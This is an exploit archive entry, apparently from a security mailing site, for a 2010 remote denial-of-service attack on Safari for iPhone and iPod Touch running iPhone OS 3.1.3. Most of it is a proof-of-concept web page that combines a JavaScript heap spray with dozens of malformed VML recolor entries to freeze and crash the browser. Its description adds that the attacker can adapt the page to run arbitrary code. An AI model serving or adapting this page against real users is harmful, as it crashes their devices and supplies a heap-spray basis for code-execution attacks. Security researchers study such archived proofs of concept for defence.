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Bad VML Remote Denial Of Service On Safari

Bad VML Remote Denial Of Service On Safari
Posted Mar 28, 2010
Authored by Nishant Das Patnaik

Bad VML remote denial of service exploit for Safari on iPhone and iPod Touch.

tags | exploit, remote, denial of service
systems | apple, iphone
SHA-256 | 43feccbb81900b7f248281ae3449273bbded514ddf03ef2b33fa42d8f904aba2

Bad VML Remote Denial Of Service On Safari

Change Mirror Download
# Exploit Title: Bad "VML" Remote DoS on Safari for iPhone & iPod Touch

# Date: 26/03/2010

# Author: Nishant Das Patnaik
# For more of Nishant's research, please visit:
# http://nishantdaspatnaik.yolasite.com/research.php

# Tested on: iPod Touch 3G (iPhone OS 3.1.3)

# Description: An attacker may direct the user to visit a specially crafted webpage that can lead the Safari browser on iPhone & iPod Touch running iPhone OS 3.1.3 to freeze and finally crash. The attacker can modify to the PoC to run arbitrary code on the device.

# Code:

---------PoC STARTS HERE----------------

<html xmlns:v="urn:schemas-microsoft-com:vml">
<title>Bad "VML" Remote DoS on Safari for iPhone & iPod Touch</title>
<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>
<body>
<SCRIPT language="javascript">
shellcode = unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000");
bigblock = unescape("%u0000%u0000");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<350;i++) memory[i] = block + shellcode;
</script>
<v:rect style='width:120pt;height:80pt' fillcolor="red" >
<v:recolorinfo recolorstate="t" numcolors="97612895">
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v/recolorinfo>
</html>

---------POC ENDS HERE----------------
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